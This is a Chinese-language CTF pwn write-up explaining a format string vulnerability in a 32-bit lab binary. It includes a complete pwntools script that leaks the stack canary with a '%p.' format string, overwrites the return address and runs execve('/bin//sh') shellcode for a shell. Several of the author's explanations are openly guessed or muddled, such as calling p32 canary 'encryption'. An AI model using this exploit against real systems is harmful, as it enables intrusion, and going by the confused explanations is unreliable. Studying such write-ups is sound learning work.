字符串格式化漏洞

字符串格式化漏洞

  1. 做pwn题首先是放入虚拟机中先运行一下 看看是什么函数
  2. 然后放入ubuntu中 **checksec +**文件,查看是多少位 和有什么保护机制
  3. 然后放入ida中查看 PS:因为知道是字符串格式化漏洞所以要尤其注意printf这个函数 -----放入ida中首先是查看mian函数 按f5或者tab键查看他的伪代码 然后知道是字符串 那么&s这种是我们尤其注意的对象 查看伪代码的时候 可以没事点一下 然后在哪个get_message哪里你点进去 你发现一个printf哪里有个漏洞字符串格式化漏洞_第1张图片
  4. 学过c语言的都应该知道一般printf函数输出的时候都要加上%d%p等对着输出进行解释 所以这儿就是典型的字符串格式化漏洞
  5. 然后在虚拟机中使用gdb去跟踪他的返回函数地址
  6. 运行我们的gdb+pwn1 然后start开始
  7. 我们需要去设置断点跟踪他 这个就是为啥我们要去找到printf函数的漏洞 刚刚找的printf哪里按tab键找到他的16进制地址 就是在哪里设置断点去一步步跟踪运行 b *x后面跟刚刚的地址
  8. 再然后c继续运行程序 stack 找到他一个完整的栈 esp栈顶 ebp栈底
  9. 脚本如下
  10. <1> from pwn import *

<2>shellcode="\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f"
“\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0”
“\x0b\xcd\x80\n”
<3>context.log_level=‘debug’
<4>p=process("./pwn1")
<5>#p=remote(‘172.16.80.240’,8000)

#########################leak canary,prev_ebp_addr################
<6>p.recvuntil(‘name:’)
<7>p.sendline(’%p.’*40)
<8>leak_data=p.recvuntil(‘messages:’)
<9>address=leak_data.split(’.’)
<10>for i in range(len(address)):
print str(i)+’:’+str(address[i])
<11>canary=address[30]
print “canary=”+canary
<12>prev_ebp_addr=address[33]
<13>print “stack_addr=”+prev_ebp_addr

#########################get shellcode_addr########################
<14>shellcode_addr=int(prev_ebp_addr,16)-144+0x8

#########################send shellcode and get shell##############
<15>payload=‘a’*100+p32(int(canary,16))+‘A’*12+p32(shellcode_addr)+shellcode
p.sendline(payload)
p.interactive()

  1. 对上面的脚步进行解释
  2. 首先说一下结题的原理是利用 Canary机制及绕过策略-格式化字符串漏洞泄露Canary --------Canary主要用于防护栈溢出攻击。我们知道,在32位系统上,对于栈溢出漏洞,攻击者通常是通过溢出栈缓冲区,覆盖栈上保存的函数返回地址来达到劫持程序执行流的目的----Stack canary保护机制在刚进入函数时,在栈上放置一个标志canary,然后 在函数结束时,判断该标志是否被改变,如果被改变,则表示有攻击行为发生。
  3. <1>使用pwn
  4. <2>相当于一个后门
  5. <4>你要连接的服务器的ip和端口
  6. <6>-<12>是利用canary函数的 《6》到时候你要输出一个name注意一下这个到时候会是函数的返回地址 《7》跟他传递一个字符串 《8》-《10》PS:还不太懂语法 大概就是运行canary的吧-----我猜的
  7. <11> 栈顶到canary函数的距离 转化为16进制是124 因为他是首位是0使用哪个地方是30 <12>栈顶到 栈底的距离 转化为16进制是136 理由同上 填33
  8. 《14》首先是后门地址等于整个print栈的地址 减去栈底ebp的虚拟地址和真实地址之间的差 后面加8是栈底到函数返回地址的值 目的是对这个栈进行覆盖暴露出来他的后门 以便获取里面的flag
  9. 《15》这函数get_message函数的栈溢出你可以看到是算一下是112 然后那个canary到栈底是12 他要暴露canary的地址 就要把前面的100全部填充 那个a就是可以替换的字符串格式化漏洞_第2张图片
    后面的p32是对canary进行加密 然后那个12是对canary到栈底进行填充 用A填充 最后加上后门
    字符串格式化漏洞_第3张图片
    字符串格式化漏洞_第4张图片

你可能感兴趣的:(pwn)